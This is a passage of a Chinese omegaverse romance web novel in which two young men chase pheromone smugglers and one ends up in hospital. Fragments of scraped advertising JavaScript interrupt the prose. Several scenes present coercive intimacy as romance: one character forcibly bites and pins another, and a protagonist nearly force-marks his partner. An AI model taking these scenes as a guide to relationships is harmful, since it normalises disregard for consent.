蓟萧:“……” - 蓟萧最后把饭菜打包回名宿跟墨行知一起吃。 怕有蟑螂再次袭击,墨行知找老板拿了几包药粉。 好在整个过程中都很安静。 蓟萧也很听话,三个菜有两个都是素的,还跟他分一盒饭吃。 似是知到他为什么突然发脾气,饭后便坐在床边给他按起了手腕。 “对不起,我下次会控制好时间。” 墨行知:“......” 什么下次... 他同意了吗? 名宿的床实在太小,两个高个子男生怎么睡都会碰到对方。 之前在荷花亭别墅的时候因为有柳熙川盯着,他们没有睡在一起过。 刚吃完饭血糖有点高,墨行知脑袋沉沉,却没急着睡。 他靠坐在床头,打开手机,把白天说的那部剧翻出来看。 蓟萧则坐旁边,与他肩并肩。 “啪!” 墨行知关上了灯,手机是房间唯一的亮光。 下一秒,眼前突然暗下来,夜幕笼罩着一片寂静的森林。随着一个神秘的声音出现,镜头也跟着往前移动,但因为月光被云层包裹着,完全看不清前面的道路,只有几根树木影影绰绰的立在旁边。 看起来非常阴森、压抑。 “很多年前的剧?”蓟萧突然问。 因为画质不怎么好。 墨行知看着一辆车钻进大雾中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,闻言应了声嗯。 下一刻,车子猛地撞飞一个人,里面的小情侣惊慌不已,结果下去查看才发现竟然是吸血鬼。 “你平时无聊就在家看电视剧?”蓟萧又问,“没人陪你吗?” “没有。”墨行知瞳孔里是一片化不开的浓雾,“不上课的时候家里第二个活人就是阿姨。” “墨霖和许南兮多久来看你一次?” “三个月,我每次发情的时候。” “那次在机场是你第一次出远门?” “嗯。” 蓟萧听着,双手握成拳,墨黑的眸子被那个吸血鬼留下的尸体占据。 下一刻,蓟萧往旁边挤了挤,伸手揽住墨行知的肩,把自己的身体给对方当肉垫靠着。 “以后我陪你。” 等到那双红瞳抬起来,他便伸手帮对方把散在脸颊上的碎发理了理,随后低头,轻轻地在那额头上印下一个吻。 “我会一直陪着你。” 墨行知看着他忽明忽暗的五官,眨了眨眼,说不上这一刻心里是个什么感受。 有点暖。 也有点悲凉。 此时的墨行知依旧认为蓟萧对他的感情是受信息素的影响。 因为从整个事件的角度上来说,他也算间接毁了这个人。 八岁的小孩子懂什么。 - 什么时候睡着的,墨行知不知道,但被吵醒的时候,手表时针才刚刚指向六点。 “咚咚咚。” 门外一直有人敲门,墨行知放下手,蹭了蹭枕头才发现很硬。 他抬起头,入目是流畅的下颚线。似是被吵的很不爽,那颗凸起的喉结绷的很紧。 “蓟萧,我知道你醒了,快点给老子开门。” “兔崽子,你说这门经不经得起我一脚?” 墨行知眨了两下眼睛,这才发现自己抱着蓟萧在床头靠了一夜。 耳边传来重重的呼吸声,下一秒,他便对上一双明亮的眼睛。 蓟萧垂着眸盯着他看了几秒,不管门外的人怎么喊,伸手将他脑袋往肩上压了压。 “别睡了。”墨行知抓住那只手,“去开门。” “......” 蓟萧黑着一张脸下床。 墨行知跟着起来,拐进洗手间洗漱。刚挤上牙膏,就听见门口砰一声,震得整个洗手间的玻璃都在抖。 “哎,让我进去,开了一晚上的车,累死了。” 苏樾推着蓟萧的肩膀,想去床上躺会儿,却被蓟萧拦在门外。 “不方便。” 苏樾闻言一顿,伸着脖子往里面瞅,待看到墨行知在洗手间刷牙,眼睛一下亮了好几倍:“弟夫也在呀。” 墨行知:“......” “你小子,动作挺快呀。”苏樾在蓟萧肩上捶了两拳,但是在看到房间里的环境时,脸上一言难尽,“你这么穷了?” 蓟萧知道他在想什么,懒得解释:“没有房间了。” “哦...” 等到墨行知出来,苏樾立刻笑眯眯的打招呼。 “嗨~” 墨行知礼貌点头。 “那既然你们都睡饱了,就让闲呗,该我们睡了。” “......” 墨行知跟蓟萧还反应过来那个‘我们’,就看到苏樾伸手往旁边一捞,一个男人赫然出现在俩人面前。 ??? 看清楚来人的脸,墨行知睁大了眼睛。 骆嘉淮看着他,张了张嘴,想说什么又没说,神情有些复杂。 “啊,介绍一下,这位是———”苏樾很自然地揽住骆嘉淮的肩膀,狐狸眼弯成一条线。 “我男朋友。” 15.我没事… 时间实在太早,苏樾话音落下后,空气中只剩下安静。 晨光从走廊外的窗口洒进来,四个人面对面站着,像被按了暂停键的大型人偶,表情各异,却一动不动。 呼——— 直到一阵微风吹过,骆嘉淮才反应过来,皱着眉偏头:“不要说奇怪的话。” 苏樾闻言看着他,挑眉道:“哪里奇怪了?” “你亲了我,还摸了我,这不是男朋友才会做的事吗?” 说着,苏樾凑近了点,眼神中带有一丝戏谑:“难道要睡了我才算?” 骆嘉淮:“……” 墨行知的视线在俩人身上来回扫动,听到这样直白的发言大脑空白一片。 蓟萧对俩人为什么会发展成这种关系没有兴趣,面无表情牵起墨行知的手,见状,苏樾立马给他们让出位置,同时用身体把骆嘉淮往房间里面挤。 在这一连串的动作下,几个人跟大转盘似的迅速交换了位置。 “谢了啊老弟。” 话音落下,苏樾砰一声把门关上了。 墨行知被震得脑袋下意识往后退,看着眼前的《666》门牌号,偏过头:“解释。” 蓟萧抿了下唇:“先去吃早餐。” “先解释。” “肚子饿,没有力气。” “……” 骆嘉淮在门内听见俩人离开的脚步声,伸手想将肩上的手拿下来,不料却被搂的更紧了。 苏樾靠在墙上,把人压向自己。眼看双方的五官越放越大,骆嘉淮连忙将手撑在他两边,躲开了这个吻。 苏樾一顿,看着那张流畅的侧脸笑出声来:“怎么了啊?” 他叉开双腿,另一只手搂住骆嘉淮的腰:“生气了?” 骆嘉淮皱着的眉头始终没有松开,沉声道:“别耍无赖,我们不是那种关系。” 苏樾听后,眼里笑意稍敛,嘴角却仍上扬着,应道:“好~” “不亲了。” 骆嘉淮正暗自惊讶他今天这么好说话,下一秒,双手却被反剪到身后。 苏樾把人翻了个面,一只手握住对方的脖子,看着那细腻平整的皮肉,没提醒也没给缓冲时间,直接露出两颗犬齿咬下去。 等骆嘉淮意识到他想做什么,想挣扎已经来不及了,几乎是一瞬间,骆嘉淮感觉到后颈的皮肉被刺破,钻心的疼痛感直击大脑。 “啊......” “苏樾……” beta不能被标记,可苏樾等了好一会儿才抬起头。看着那两个往外冒血珠的小孔,alpha伸出舌头温柔地舔了舔,但双眼却越发的暴戾。 骆嘉淮还没从脖子上的疼痛缓过神来,人就被苏樾抱着扔到了床上。 天旋地转,骆嘉淮被震得脑袋嗡鸣。苏樾爬上床,将他双手压过头顶,捏起他的下巴抬高,开口含着冰。 “是你先招惹的我。” “现在玩儿完了就想扔?” “你做梦!” 骆嘉淮挣扎着,眼眶因为刚才被咬疼了蒙上一层水汽,他看着压在自己身上的人,视线模糊一片。 如果重来一次,他绝对不会做出那种事。 那天苏樾绑住他的手脚,掐着他的下颚逼问有关于墨行知的事。他当时很害怕,脑子也混乱,以为苏樾是徐家的人,以为对方想用易感期对墨行知不利。 作为一个老师兼朋友,他不能让墨行知陷入险境。 “你靠过来一点。” 他在苏樾饶有兴致地把耳朵凑过来时,主动吻了上去。 当看到那双狭长的眼睛从迷茫,到惊讶,再到兴奋,他以为他赌对了。 然而alpha并不是徐家的人,也没有进入易感期…… - “所以,是你让苏樾接近骆嘉淮的?” 早餐店里,墨行知看着老板端到桌上的馄饨和蒸饺,没有动。 蓟萧拆好筷子放在他面前,轻轻嗯了声。 “老师什么都不知道。”墨行知想起刚才骆嘉淮欲言又止的神情,“你们对他做了什么?” “不要伤害无辜的人。” 蓟萧没有立即回答,拿着醋倒在蘸料碟上,又往里面加了一点辣椒,搅了搅,这才抬起眼看他:“抽信息素的事,是骆嘉淮透露的。” ……….?! 墨行知愣住了。 “他给你教了十年的书。”蓟萧说,“你真的觉得他会什么都不知道吗?” 十年??? 不是三年吗…… 一时间,墨行知的大脑有些衔接不上。 蓟萧继续说:“苏樾看到了那天你去医院做亲子鉴定的报告。” “他把这件事情告诉了骆嘉淮。” 苏樾并没有对骆嘉淮做什么,抽信息素的事,是骆嘉淮知道墨行知不是墨家的孩子后主动说出来的。 但为了验证事情的真伪,苏樾拿走了骆嘉淮的手机,一直跟他待在一起。 直到墨家露出狐狸尾巴。 墨行知怔愣许久,想起医生说过的话,左手慢慢握成拳。 终于找到这些伤疤的答案。 估计他早发现了抽信息素的事,但想跑却没跑掉,最后选择了结生命,所以才会被墨家一次又一次地洗去记忆。 墨行知眨了眨眼,虽然这种答案最合理,但以他这三年来对自己的了解,又觉得自己不是那么脆弱的人。 正疑惑着,一只手伸过来握住了他的手。蓟萧安静地看了他两秒,拿起勺子往他手里塞。 “凉了味道不好。” 墨行知捏了捏勺子,几秒后舀着馄饨吃了起来。 - 苏樾和骆嘉淮睡到了中午。因为要商量一下抓人的对策,四个人一起去大排档吃的午饭。 封闭的包间,餐桌上全是海鲜。 用餐之前,墨行知看到苏樾买了一个大号邦迪,苏樾原本想帮骆嘉淮贴在后颈处,但骆嘉淮在对上他的视线后,可能是觉得丢脸,拿着东西起身去了洗手间。 墨行知的视线跟着那道背景停在门口,过了几秒,他才回头跟苏樾说:“老师不是omega,你咬他,他只会痛。” 苏樾用茶水洗了洗碗筷,闻言抬起眼:“那你说我该怎么办?咬自己喜欢的人是alpha的天性啊!” “去喜欢一个omega。”墨行知冷淡地给出一个官方答案。 苏樾夹起来的鱼排因为他这句话掉在了桌上... 好一会儿,苏樾才扭着机械般的脖子看向蓟萧:“老弟,我心疼你。” 蓟萧神情淡淡,没抬头,把烫好的碗筷放在墨行知面前。 “哥哥对我很好。” 苏樾重新把鱼排夹到碗里,闻言“嗤”了一声,明显不信。 能说出这种话的人,心比石头还硬。 等骆嘉淮回来,几个人就安安静静地吃饭。 墨行知心中其实有很多不解,但他并没有逼问骆嘉淮。 为什么撒谎? 为什么这么多年都不告诉他真相? 为什么知道墨家做出那么残忍的事却没有帮他报警? 而骆嘉淮也很明显不敢跟他对视,他也看到了对方眼里的愧疚,纠结,和一些难以言喻的情绪。 “吃饭。”蓟萧轻声提醒。 墨行知醒了醒神,夹起碗里剥好的虾肉,决定不再去想。 等这件事办好了,再来谈。 - 毕竟是s级omega的信息素,苏樾猜想收货方和查验方至少有三个人。 最后商量出来结果:蓟萧伪装成快递小哥,搞定签收人。墨行知,苏樾,骆嘉淮,三人围堵交接的人。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“行,就这么办。”苏樾手伸进口袋掏了掏,随后把一个很小的瓶子拿出来给蓟萧,“这玩意我可是好不容易才弄到的。” 蓟萧看了眼那支麻醉喷雾,很快又垂下。 “不需要。” 但是当苏樾准备收回去的时候,他又一把拿过来放到墨行知手里。 蓟萧盯着那双红瞳,郑重交代:“不要冲在前面。” 墨行知当然不会。 说干就干,一行人兵分两路,出了饭店就直奔收货点。 不与村里的其他房子紧挨在一起,那是一座单独的别院,虽然面积看着很大,但很普通,也很安静,除了挂在门前的两个灯笼很新以外,没什么值得人注意。 院子的围墙外种满了一圈大樟树,挡住所有阳光,风一吹过,树叶哗啦啦作响。 冷清又孤寂。 蓟萧第一个抵达,看着快递的派送信息,在距离200米的地方将其拦下。 快递小哥开着一辆包棚的三轮车,给他提供了一个非常好的掩体。 蓟萧换上快递员的衣服,戴上帽子,眼神冷峻而凌厉。他垂眸看了眼手里的盒子和躺在里面睡大觉的小哥,伸手关上了车厢后门。 墨行知一行人在别院正门五十米处停下,看到蓟萧开着三轮车面无表情经过时,不知怎的,突然觉得有点好笑。 蓟萧实在太过高大,坐在三轮车上得缩着脖子驮着背,短小的工作服把他手腕脚腕都漏出一截,紧绷的衣料勒出了他健壮的身型轮廓,可本人偏偏又是一本正经的样子,与破旧的三轮车形成了奇特的反差。 “那车在他面前跟玩具似的。”苏樾笑了下。 墨行知见三轮车在院前停下,两秒后,蓟萧压了压帽檐,抱着快递盒上前敲门。 大约一分钟,那道黑色的门开了。 收货人是一个年轻的alpha,看到蓟萧后,他眼神中闪过一丝惊讶,似乎是奇怪怎么跟以前不同人。蓟萧不动声色,用沉稳的语气同他解释了几句。alpha左右看了眼道路,确定没有人,这才打消心中的疑虑准备签字。 但就在他拿起笔的瞬间,一股强烈的危机感直面袭来,还没等他反应,脖子便被蓟萧用力掐住,整个人被迅速退回了屋内。 墨行知看着那道黑色的门关上,心中不知为何隐隐不安,手心出了一层薄汗。 “放心。”苏樾在旁边说,“就算是三个alpha,他也能搞定。” 然而就在这时,一辆黑色的轿车突然停在了院子门前。 墨行知见状立马察觉到不对劲,倏地站起身,想也没想就冲了出去。 那是花城的车牌… 车上下来四个壮汉,看体型都是alpha,他们身着黑色西装,每个人手里都拿着一根铁棒… 墨行知被那些银色的东西晃了下眼睛,看到其中一人伸手去推门,他猛地停下脚步,毫不犹豫开启了远程压制。 哐当——— 铁棒纷纷落地,四个壮汉没有防备,只觉腺体一阵刺痛,不到两秒,便齐刷刷跪在了地上。 苏樾和骆嘉淮没想到他会这么做,神情错愕,紧接着是担忧。 但先绑人要紧。 直到那几个人全部倒下,墨行知才收起压制,同时整个人脱力往地上倒去。 然而预想的疼痛感并没有到来。 冰冷的地板变成了温热的胸膛。 蓟萧在里面听到声响打开门,在他脑袋着地的最后一刻瞬移过来抱住了他。 墨行知靠在蓟萧肩上,看着对方紧锁的眉头,才想起来那句交代。 “我没事…” “别说话。” 蓟萧声音低沉的可怕,黑着脸将他抱进院子里。 在门内的围墙一角,墨行知看到八个人被堵着嘴,排排蹲。 顿时松了一口气。 16.我不讨厌你 就算高级别AO拥有绝对的力量,但一次性释放信息素太猛的话,腺体就会透支。 相当于剧烈运动后给身体和心血管带来的疲劳与负担。 严重情况下可能会危及生命。 蓟萧把墨行知放在沙发上,走进厨房,用白糖兑了一碗糖水先喂给他喝下。 墨行知四肢无力,整颗脑袋晕涨的厉害,虽然得到一点点缓解,却是杯水车薪。 骆嘉淮和苏樾站在门口,看到他胸前起伏的厉害,脸色也苍白一片,心里顿时跟着着急起来。 “我去买葡萄糖。”骆嘉淮转身往门外走。 “骆老师。”墨行知闻言把人叫住,态度坚决,“现在谁都不能离开。” 交接人还没有来,他们四个当中,就只有骆嘉淮一个人不受信息素的影响。 蓟萧刚才应该也消耗了不少能量,如果再来一车人的话,苏樾可能会有点吃力。 “没事。”苏樾把门边的铁棒抽出来一根拿在手上,俊美的五官在玻璃窗上印出阴森诡异的笑,“反正烂命一条。” “......” 墨行知刚想说“不要开玩笑”,就见一直沉默的蓟萧也走过去抽了根铁棒。 几人的目光齐刷刷地落在蓟萧身上,看着他那深沉的眼神,都以为他也要放句狠话。然而下一秒,蓟萧却直接举起铁棒,瞄准了大门口。 嗖——— 铁棒如箭穿透木门的刹那间,一声凄厉的惨叫伴随其后。 一时间,蹲在围墙边的八个人,以及屋内的几人,全都惊得目瞪口呆。 客厅到大门口至少有三十米,蓟萧不仅做到了听声辩位,竟然还能精准控制武器,避开要害。 没猜错的话,外面的人应该是被刺穿了大腿。 两秒后,反应过来的苏樾冲过去把门打开。待看到外面两个捂着大腿内侧,表情极度痛苦的alpha时,顿时缺德地大叫起来。 “可以啊老弟,一箭双‘雕’诶。” 蓟萧:“……” 骆嘉淮:“……” 其他八人:“……” 墨行知看着这一幕,脑海里突然想起在M国的那间旧木屋,想起那几把猎枪,还有一面墙的野生动物的头和皮衣。 蓟萧平时… 都是这样打猎的吗? - 在苏樾软硬兼施地逼问下,终于有人受不住说出了真相。 原来,在墨行知和蓟萧出发后不久,许南兮就安排了两车人追上来,并在昨天下午就把真正的签收人给绑了起来。 原本想来个里应外合将他们俩人抓住,并利用身份顺理成章抽取墨行知的信息素,没想到他们也有计划和帮手… “为什么还要抽我的信息素?”墨行知坐在沙发上,声音很冷。 两个被刺穿大腿的alpha是检验人员,此刻已经包扎好伤口,背靠背,跟其他人一起坐在地上。 闻言快速看了他一眼又立马低下头。 “她想用真的报告引出博士,想在你们之前抓住他。”其中一个检验人员说。 墨行知眯起眼:“她抓博士做什么?” 不是已经有他跟蓟萧在行动了吗? 那二人互相看了眼:“这个、我们也不知道。” 墨行知垂眸思考了两秒,随后把目光转向一直沉默的蓟萧,等对方抬起眼看过来,他的目光冷漠而犀利。 “你们到底瞒着我什么事情?!” 想到自己一直在被欺骗,墨行知突然很窝火,语气决绝道:“你最好永远不要让我知道真相,否则,我就算死,也不会跟你在一起。” 蓟萧手指轻颤,心脏像被人揪住。 似是没想到他这么狠,苏樾和骆嘉淮看了眼对方,一时间不知道该心疼谁。 蓟萧对其他O的信息素过敏,大家都知道,如果没办法跟墨行知结合,他将一辈子离不开抑制贴,并不断承受过敏带来的疼痛,最终孤独死去。 “弟夫啊……” 苏樾本想劝两句,想说蓟萧有苦衷,但当余光看到那双黑瞳射过来的警告时,喉咙瞬间像卡了刺。 “行,搁这儿玩相爱相杀是吧?”?苏樾点点头,忽地气笑了,“什么低级癖好。” “……” 苏樾懒得管他们了,去把真正的签收者放出来,询问下一个转移地址。 蓟萧走到墨行知面前,弯腰,想将人抱起来,却在手指刚碰到对方的膝盖弯时,被一根铁棒抵住肩膀退开。 “别碰我。”墨行知胸闷气短,一点都不想让人靠近。 蓟萧半垂着眸看他,陈述道:“你需要去医院挂瓶。” 墨行知皱着眉,依旧不肯。 气氛像是急速冷却,瞬间抵达冰点。 骆嘉淮见状上前:“行知,我背你去吧。” 然而,还没等他动作,蓟萧便再次伸手,只是这次还没碰到人,就被一股强烈的气压按跪在地上。 “我让你别碰我!” 墨行知突然失控大喊,震得地上的众人一哆嗦。然而话音刚落,墨行知因为被掏空精力再次脱力,整个人向地上栽去,好在蓟萧反应迅速,一把抱住了他。 蓟萧腺体发痛,见怀里的人脸上已经没有了一点血色,眉头紧锁,顾不上生气,抱起人就往门口跑。 骆嘉淮看着那道飞速离去的背影,又看了看屋里的人,只能干着急。 蓟萧冲到门外,随便选了一辆车,把频临晕厥的墨行知安置在副驾驶,然后点火。 刹那间,安静的道路传出刺耳的轮胎磨地声,空气中更是留下一道黑烟。 - 墨行知打了三瓶吊水脸色才有所好转。 蓟萧一直守在病床边,寸步不离。alpha的眼睛始终死死地盯着床上的人,想起对方完全不顾生命的举动,又生气又心疼。 他不敢告诉哥哥他们是孤儿的真相。 他怕找回那几年记忆的哥哥会恨他。 他不知道,其实哥哥从来没有怪过他。 蓟萧伸出手指,轻轻在那张睡颜上抚摸。 怎么办? 哥哥现在已经开始讨厌他了… 其实从重逢的那一刻开始,大脑内就一直有个声音在不断地提醒他。 这可是跟有你百分百契合度的omega啊。 标记! 强行标记! 别管相不相爱! AO结合之后,情感浓烈的一方可以直接影响另一个人的情绪。 蓟萧嘴唇微张,露出发痒的齿尖,双眸在长睫的阴影下渐渐蓄起一股暴戾气息。 临时标记效果也不差。 空气中云杉的信息素强烈而霸道,目标是病床上的omega。 微微泛红的黑眸将其牢牢锁住,慢慢覆盖上来的影子就像一只庞大的鳄。 直到看见身下的人蹙了蹙眉,一双红瞳缓缓睁开,蓟萧瞬间醒过神来。 墨行知被信息素刺激的身体发热,呼吸难受,看着近在咫尺的五官,和对方来不及收的犬齿,心脏一下绷紧了。 “你在干什么…” 四目相对,alpha愣了一秒。 意识到自己阴暗的情绪,蓟萧紧张地滚了滚喉结,待看到那双眼睛里的目光越来越冷漠时,顿时收起信息素,伸手将人抱靠在床头。 墨行知双手紧紧攥着被子,抬眼把人看着:“你想咬我。” 蓟萧像个做错事的孩子垂着眸,却老实交代:“嗯。” “为什么?” “不想被你讨厌。” “……” 墨行知嘴里的“卑鄙”被这句话堵了回去。 他看着眼前的大块头,想起自己气急了又用信息素压制对方而得到的反噬… 不知怎的,突然很好奇他们到底有多高的契合度。 “你过来。” 蓟萧弯腰把脸凑上去,本来已经做好会被打耳光的准备,却在闭上眼睛时,听到撕拉一声。 墨行知撕下了他的抑制贴。 看着那微微红肿的腺体,墨行知双手按住蓟萧肩膀往面前收,蓟萧正疑惑着,什么柔软的东西就落在了他后颈上。 腺体是alpha最敏感脆弱的地方,蓟萧浑身不由得一颤,有些不敢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 相信墨行知会吻他那里。 墨行知闻着云杉和铃兰的清香,嘴唇轻轻贴了贴那块皮肤,想看看会发生什么。就在他第二次准备吻上去的时候,一只大手迅速握住了他的脖子,喉结被人用力按了下,他被迫扬起下巴张开嘴,迎接滚烫强势的气息。 “唔……” 蓟萧爬上床,双腿跪在他两边,热烈的吻他。 想发情。 想跟他纠缠到天荒地老。 alpha恶劣的情绪再次爬上来,伸手撩起他的衣服。墨行知腹部被烫了下,身体止不住哆嗦。 这里是医院,随时都有人会进来,他可没有被人围观的癖好。 直到空气中铃兰的安抚信息素飘出来,蓟萧才恢复一丝理智。他喘着气,盯着身下的人,黑眸在灯光下泛着红光。 看着像危险的掠食者。 墨行知胸膛起伏的厉害,被看得心头一颤,刚想说“可以退开了”,嘴唇却被再次擒住。但alpha没有在上面停留很久,含着他的唇瓣轻轻吮了两下后慢慢移至脸颊,耳垂,再到脖子… 才刚恢复一点元气就这样激烈。墨行知被亲的晕乎乎,背上出了一层薄汗。当锋利的犬齿刮蹭着后颈的皮肉,墨行知呼吸一滞,猛然惊醒。 可是已经来不及了。 “呃……” 咯吱一声,蓟萧咬破了他的腺体。 随着清冷而强势的云杉信息素注入,墨行知睁大了眼睛,脑海里突然像快进万倍的电影一样闪过无数个画面。 有抱着小婴儿的,有被绑着手脚抽血的,有躺在大火之中的,有拿着刀割手腕的… 种种! 一瞬间,墨行知眼前失去色彩,大脑阵阵刺痛,心脏像是被铁锤无情敲打,碎裂到难以呼吸…… 等蓟萧察觉到他不对劲的时候,胸前的衣服已经染上一朵小红花。 “医生!!!!!!” - 骆嘉淮和苏樾赶到医院时,就看见蓟萧安静地坐在病床边,明明那么大的个子,浑身却颓废到没有一丝生气。 床上的人已经戴上了氧气面罩。 滴- 滴- 滴- 病房像是零下几十度的冰窖,空气都小心翼翼。 苏樾咽了一口唾沫,轻轻走过去把手搭在蓟萧肩上。 “没事的。” 来的时候他已经听骆嘉淮说了当时的情况,只是没想到会这么严重。 蓟萧盯着床上的人,眼神空洞:“是我错了。” 他不该只想着表达自己。 他太自私了。 “医生怎么说?”骆嘉淮上前问。 蓟萧没回答,沉默地低下了头。 苏樾看着,不知道如何安慰,但等静下心来,鼻腔却闻到房间里有类似发情的信息素痕迹。只是不太浓烈。 当看到墨行知后颈处贴着一张大邦迪时,他眉心一跳,瞬间了然。 “你小子,就算再怎么生气,也不能…” 没等苏樾把话说完,同样看到邦迪的骆嘉淮一拳把人凑到了地上。 “你疯了!!!”骆嘉淮骑到蓟萧身上,双手用力攥住他的衣领,“他都那样了你还想着标记他!你们alpha果然没有一个好东西!!” 苏樾:“……” 这一拳蓄足了力,蓟萧很快尝到了铁锈味。他微微蹙眉,用手指擦了下伤口,看着上面鲜红的血,一句话也没说。 心想:多来几拳吧,能体会哥哥万分之一的痛苦也是一件幸福的事。 正当苏樾想把俩人拉开的时候,耳边忽然听见床上传出轻微的呼唤。 “小鱼…” 蓟萧微顿,反应过来是哥哥的声音,双手一把将身上的人丢给苏樾,忙爬起来握住床边那只手。 “哥哥……” “我错了……” “我以后再也不会……” alpha懊悔至极,声颤如风中残叶,每一丝颤动都诉说着无尽的悲痛。 然而看着他的人眼神却不似以往那般淡漠。 “我不讨厌你。” 17.我的鳄鱼宝宝~ 说完那句话之后,墨行知很快又闭上眼睛睡着了,像是累极。 骆嘉淮第一时间把医生叫过来。经过一系列的检查,墨行知除了腺体虚弱以外,身体基本没有什么大问题。 至于为什么会咳血,是因为强烈的情绪刺激导致血压迅速骤升、而使心脏负荷过重出现的小血管破裂。 “这段时间好好给他补补。”医生把心率听诊器挂在脖子上,看着坐在床边的alpha交代,“一个星期内不要碰他。” 蓟萧一顿,刚想回好,就听到医生又补了一句:“也不要接吻。” “……” 人从小就对两种人怀着敬畏之心。一,警察。二,医生。 一般只要是他们提出来的问题,再刁钻的人也会有所收敛。 “好。”蓟萧应道。 医生是一个c级omega,作为O里面比较差的存在,她最讨厌的就是高级别alpha。因为就算是同级别的AO,在力量上面,O永远处于弱势。像他们这样的O就更别说了,稍微一点点压制就能让他们跪地不起。 她上下扫了扫面前的大块头,眉头紧紧皱着:“还有,麻烦你们以后少刺激病人,从小血管的状态报告上面来看,这已经不是第一次出现破裂了。” 闻言,蓟萧懵了一瞬。 “他皮肤这样白,轻轻一按就是大片青斑,明显是长期气血不足的状态。” “他头发也是非自然白。根据脑部的报告显示,他的杏仁核值非常高,海马体混乱,应该是受过多次精神创伤。” 说着,医生又看了一眼旁的俩人,突然犀利道:“你们真的是他的朋友吗?” “根据人民保护法第52条,操纵他人的精神自由将受到严重的法律制裁,你们要是不说清楚,我会马上报警。” 听完医生的话,空气仿佛凝固。 多次小血管破裂,多次精神创伤,非自然白的头发,一字一句,字眼实在太揪人心。 连苏樾这样能说会道的人都整个怔愣在原地。 蓟萧看着掌心里的手,大脑忽然一片空白。他想过哥哥的记忆被博士动过手脚,但是没有想过有多少次。 只有骆嘉淮冷静地向医生解释。 “我们真的是朋友,从花城过来游玩的。我朋友从小贫血,家庭原因导致他精神敏感脆弱…” 虽然对目前的情况仍持有怀疑的态度,但身为医生,主要的职责是为患者进行准确地诊断和有效的治疗。 看着墨行知平稳的状态,医生取下氧气面罩后就出去了。 门关上,房间里又是一阵沉静。 良久,苏樾才看着骆嘉淮问:“这些事,你一直都知道?” 骆嘉淮平静地嗯了声,目光转向病床上的人。看着对方那张惨白的脸,记忆如同洪水一般涌上来。 “我第一次见行知的时候,他也是像这样躺在床上。” 那年骆嘉淮大三,父亲巨额的医药费压在他身上,收到私教录用通知的时候他无比兴奋。见面那天,他穿戴整齐,思索着该如何跟学生介绍自己,然而打开门看到的,却是一个病美人躺在床上。 墨霖拿出一份保密合同给他签,至此,他的父亲得到了最好的药物治疗。 “他是千金之躯的墨家大少爷。”骆嘉淮并不认为自己冷血,“我是负债累累的穷苦学生。” “我们、不过是各取所需。” 他也没有想到三年后的又三年,墨行知总是重复做着同一件事。 去死。 直到有一次墨行知在上课的时候提前半个月发情热,他无意听见了许南兮和管事的对话。 他当时非常地气愤。 却也什么都做不了。 想到这里,骆嘉淮垂下眼眸,双手缓缓握成拳,一如当年。 所以,在苏樾告诉他墨行知根本不是墨家的孩子时,他几乎没有半秒犹豫把抽信息素的事情说出来。 他的父亲在不久前去世,就像苏樾说的,他现在也不过是烂命一条。如果墨家查到点什么,想要就拿去。 - 墨行知一直睡到第二天早上才醒。 似是有点睡懵了,当看到顶头的灯光,和窗外微蓝的天空,以及手边毛茸茸的脑袋时,他怔愣了许久。 直到昨天的记忆在脑海里过了一遍。 墨行知眨了两下眼睛,伸手摸了摸后颈处,略微粗糙的贴布告诉他,昨天经历的一切都不是幻觉。 包括那些记忆。 那些... 都是他的记忆? 像是有什么感应,他只是微微一动,蓟萧就倏地睁开了眼睛。 刹那间,两个人的目光交汇到一起。 似有电流穿过,双方瞳孔微张,心脏不受控制地猛跳了几下。 临时标记虽不抵永久标记,可他们的契合度高得惊人,随便一个眼神和动作,都如同无形的丝线,紧紧地牵引着另一个人的情绪。 “有没有哪里不舒服?” 蓟萧反应过来握住墨行知的手,看到他另一只手摸的位置,眼里的光瞬间被愧疚和懊悔替代。 “对不起……” “我昨天不该……” “别说了。”墨行知打断道。 不知道怎么回事,他一点也不想看到alpha现在的样子,觉得心里闷闷的,很不舒服。 他轻轻动了动被握住的手,语气柔和:“你饿吗?” 蓟萧被他的反应弄得呆愣住,嘴比脑子快:“饿。” “我想吃烧饼。” “好。” 二十分钟后,病房里肉香四溢。 墨行知面前放着一碗皮蛋瘦肉粥,一个切成小块的烧饼,一盒小笼包,一只卤鸡腿。 “我们什么时候出发?” 闻言,蓟萧拆蘸料包装的动作顿住,想起医生说过的话,抬眼看他:“你需要住院一个星期。” 谁知,墨行知却不按套路出牌,一副‘你别想骗我’的表情,淡定道:“我已经办理好了出院手续。” “......” 标记初期,AO情绪相连是利也是弊。 因为真情会被感知到的同时,撒谎也会。 眼见瞒不过,蓟萧只好老实交代:“三天后。” 根据苏樾表示,第一批签收人负责验证信息素真伪,等到跟第二批签收人取得联系,他们会把货拿去港口,然后交到运往马尼拉的货船上。 三个人昨天晚上经过商讨,依旧让蓟萧去送货,而苏樾和骆嘉淮则趁着工人补油和检查发动机的时间潜入进去。 墨行知点点头,抬手看了眼时间,怕占用床位太久,吃东西的速度加快许多。 他没有告诉蓟萧昨晚看见了什么。蓟萧的信息素可以帮助他恢复记忆,这件事太令人匪夷所思。 难道以前他们是互相温养吗? “吃慢点。”蓟萧在旁边提醒,“不会被赶。” 墨行知应了声嗯,几口喝完碗里的粥,问:“你想看日出吗?” 蓟萧摸不清他现在的想法,下意识回:“想。” “我想去海边。” “好。” 他们来到那天的大樟树下。辽阔的大海,蔚蓝的天空,金黄的太阳。 外在条件全都重合。 只欠脸颊上灼热的呼吸。 墨行知看了会儿,忽然垂眸牵住蓟萧的手。蓟萧轻颤了下,有些惊讶的看着他。 “小鱼。”墨行知盯着那双眼睛,“你再咬我一次。” 蓟萧闻言一顿,心脏不受控制地加快跳动:“……什么?”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>墨行知没重复,直接背过身,伸手将脖子上的邦迪撕了下来。 “昨天的标记不完整。” 一个完整的标记怎么也要两三分钟。昨天出了那样的意外,他身上alpha的信息素很淡,如果现在补上,说不定还能再想起点什么。 但这对蓟萧来说,却是一个极大的考验。几乎是一瞬间,他闻到了属于自己信息素的味道。 omega后颈修长而白皙,腺体处红肿着,两个血洞已经干枯,正在努力结痂,看着可怜兮兮的。 